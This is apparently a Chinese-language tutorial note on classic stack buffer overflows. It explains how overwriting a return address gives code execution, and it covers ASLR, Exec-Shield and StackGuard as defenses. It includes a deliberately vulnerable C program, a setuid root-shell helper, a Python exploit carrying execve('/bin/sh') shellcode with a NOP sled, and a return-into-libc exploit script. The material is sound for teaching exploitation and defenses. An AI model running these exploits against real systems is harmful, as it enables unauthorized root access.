二进制分析 逆向 缓冲区溢出 foresta.yang 2023-12-18 2024-04-26 利用缓冲区溢出来执行任意代码
1、缓冲区溢出示例
缓冲区溢出(buffer overflow):最有名的漏洞之一,输入的数据超出了程序规定的内存范围,数据溢出导致程序发生异常。
eg.
1 2 3 4 5 6 7 8 #include <string.h> int main (int argc, char *argv[]) { char buff[64 ]; strcpy (buff, argv[1 ]); return 0 ; }
这个程序为 buff 数组分配了一块 64 字节的内存空间,但传递给程序的 参数 argv[1] 是由用户任意输入的,因此参数的长度很有可能会超过 64 字节
因此,当用户故意向程序传递一个超过 64 字节的字符串时,就会在 main 函数中引发缓冲区溢出。
2、让普通用户用ROOT权限运行程序
setuid :让用户使用程序的所有者权限来运行程序
一个 sample
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <unistd.h> #include <sys/types.h> int main (int argc, char *argv[]) { char *data[2 ]; char *exe = "/bin/sh" ; data[0 ] = exe; data[1 ] = NULL ; setuid (0 ); execve (data[0 ], data, NULL ); return 0 ; }
以root权限编译
1 2 3 4 su -i gcc -Wall sample.c -o sample chmod 4755 sample ls -l sample
3、通过缓冲区溢出夺取权限示例
一个有漏洞的sample:会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中,由于字符串是由用户任意输入的,会有缓存溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <string.h> unsigned long get_sp (void ) { __asm__("movl %esp, %eax" ); } int cpy (char *str) { char buff[64 ]; printf ("0x%08lx" , get_sp () + 0x10 ); getchar (); strcpy (buff, str); return 0 ; } int main (int argc, char *argv[]) { cpy (argv[1 ]); return 0 ; }
一个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import sysfrom struct import *if len (sys.argv) != 2 : addr = 0x41414141 else : addr = int (sys.argv[1 ], 16 ) s = "" s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" s += "\x90\x90\x90\x90\x90\x90\x90\x90" s += "\x90\x90\x90\x90\x90\x90\x90\x90" s += "\x90\x90\x90\x90\x90\x90\x90\x90" s += "\x90\x90\x90\x90" +pack('<L' ,addr) sys.stdout.write(s)
将 exploit.py 的输出结果输入给 sample.c,我们就成功地以 root 权限运行了 /bin/sh
1 ./sample "`python exploit.py bfbfebe8`"
4、执行任意代码的原理
在函数调用的结构中会用到栈的概念
一个sample:
1 2 3 4 5 6 7 8 9 10 11 void func (int x, int y, int z) { int a; char buff[8 ]; } int main (void ) { func (1 , 2 , 3 ); return 0 ; }
查看汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 .file "sample4.c" .text .p2align 4,,15 .globl func .type func, @function func: pushl %ebp 保存ebp movl %esp, %ebp 将ebp移动到esp的位置 subl $16, %esp leave 恢复ebp和esp ret 跳转到调用该函数的位置 .size func, .-func .p2align 4,,15 .globl main .type main, @function main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx subl $12, %esp 先将参数放入栈中 movl $3, 8(%esp) 参数3 movl $2, 4(%esp) 参数2 movl $1, (%esp) 参数1 call func 调用func movl $0, %eax addl $12, %esp popl %ecx popl %ebp leal -4(%ecx), %esp ret .size main, .-main .ident "GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"
当调用 func 函数时,在跳转到函数起始地址的瞬间,栈的情形如下图 所示:
接下来, push ebp,esp 继续递减,为函数内部的局部变量分配内存空间
这时,如果数据溢出,超过了原本分配给数组 buff 的内存空间,数组 buff 后面的 %ebp、ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉
ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。也就是说,如果覆盖了 ret_addr,攻击者就可以让程序跳转到任意地址。如果攻击者事先准备一段代码,然后让程序跳转到这段代码,也就相当于成功攻击了“可执行任意代码的漏洞”
防御攻击的技术
1、ASLR
地址空间布局随机化(Address Space Layout Randomization, ASLR): 一种对栈、模块、动态分配的内存空间等的地址(位置)进行随机配置的机制,属于操作系统的功能。
一个test: 在启用ASLR的状态下,反复运行这个程序,我们会发现每次显示的地址都不同
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> unsigned long get_sp (void ) { __asm__("movl %esp, %eax" ); } int main (void ) { printf ("malloc: %p\n" , malloc (16 )); printf (" stack: 0x%lx\n" , get_sp ()); return 0 ; }
当启用 ASLR 时,程序所显示的地址每次都不同,因此,我们无法将正确的地址传递给 exp,也就无法成功夺取系统权限了
2、Exec-Shield
Exec-Shield :一种通过“限制内存空间的读写和执行权限”来防御攻击的机制,除存放可执行代码的内存空间以外,对其余内存空间尽量禁用执行权限
通常情况下我们不会在用作栈的内存空间里存放可执行的机器语言代码,因此我们可以将栈空间的权限设为可读写但不可执行
在代码区域中存放的机器语言代码,通常情况下也不需要在运行时进行改写,因此我们可以将这部分内存的权限设置为不可写入
这样一来,即便我们将 shellcode 复制到栈,如果这些代码无法执行, 那么就会产生 Segmentation fault,导致程序停止运行
注:要在系统中查看某个程序进程内存空间的读写和执行权限,在程序运行时输出 /proc//maps 就可以
3、StackGuard
StackGuard:一种在编译时在各函数入口和出口插入用于检测栈数据完整性的机器语言代码的方法,它属于编译器的安全机制
一个示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 .file "test.c" .text .globl get_sp .type get_sp, @function get_sp: pushl %ebp movl %esp, %ebp #APP # 5 "test.c" 1 movl %esp, %eax addl $0x58, %eax # 0 "" 2 #NO_APP popl %ebp ret .size get_sp, .-get_sp .section .rodata .LC0: .string "0x%08lx" .text .globl main .type main, @function main: pushl %ebp movl %esp, %ebp andl $-16, %esp subl $64, %esp movl 12(%ebp), %eax movl %eax, 28(%esp) movl %gs:20, %eax 每次运行时%gs:20中都会存入一个随机数 movl %eax, 60(%esp) 将随机值添加到栈的最后,由于 60(%esp) 后面就是 ebp 和 ret_addr, 因此这样的配置可以保护关键地址的数据不被篡改 xorl %eax, %eax call get_sp movl $.LC0, %edx movl %eax, 4(%esp) movl %edx, (%esp) call printf call getchar movl 28(%esp), %eax addl $4, %eax movl (%eax), %eax movl %eax, 4(%esp) leal 44(%esp), %eax movl %eax, (%esp) call strcpy movl $0, %eax movl 60(%esp), %edx 将栈的最后一个值 xorl %gs:20, %edx 与%gs:20进行对比 je .L5 如果一致则跳转到.L5 call __stack_chk_fail 否则跳转到强制终止代码 .L5: leave ret .size main, .-main .ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3" #.section .note.GNU-stack,"",@progbits
简单来说,StackGuard 机制所保护的是 ebp
和 ret_addr
,是一种针对典型栈缓冲区溢出攻击的防御手段。
绕开安全机制的技术
1、Return-into-libc
Return-into-libc 是一种破解 Exec-Shield 的方法
思路:即便无法执行任意代码,最终只要能够运行任意程序,也可以夺取系统权限
原理:通过调整参数和栈的配置,使得程序能够跳转到 libc.so 中的 system 函数以及 exec 类函数,借此来运行 /bin/sh 等 程序。
exp如下:system 函数的返回目标设为 exit,并将 /bin/sh 的地址作为参数传递过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/usr/bin/python import sys from struct import * if len(sys.argv) != 2: addr = 0x41414141 else: addr = int(sys.argv[1], 16) + 0x08 fsystem = int("<16进制system地址>", 16) fexit = int("<16进制exit地址>", 16) data = "\x90\x90\x90\x90\x90\x90\x90\x90" data += "\x90\x90\x90\x90\x90\x90\x90\x90" data += "\x90\x90\x90\x90\x90\x90\x90\x90" data += "\x90\x90\x90\x90\x90\x90\x90\x90" data += pack('<L', fsystem) data += pack('<L', fexit) data += pack('<L', addr) data += "/bin/sh" sys.stdout.write(data)
2、ROP
面向返回编程(Return-Oriented-Programming,ROP):利用未随机化的那些模块内部的汇编代码,拼接出我们所需要的程序逻辑,第5章再提
结语
主要是最经典最基础的缓冲区溢出的介绍,然后有些基础防御和绕过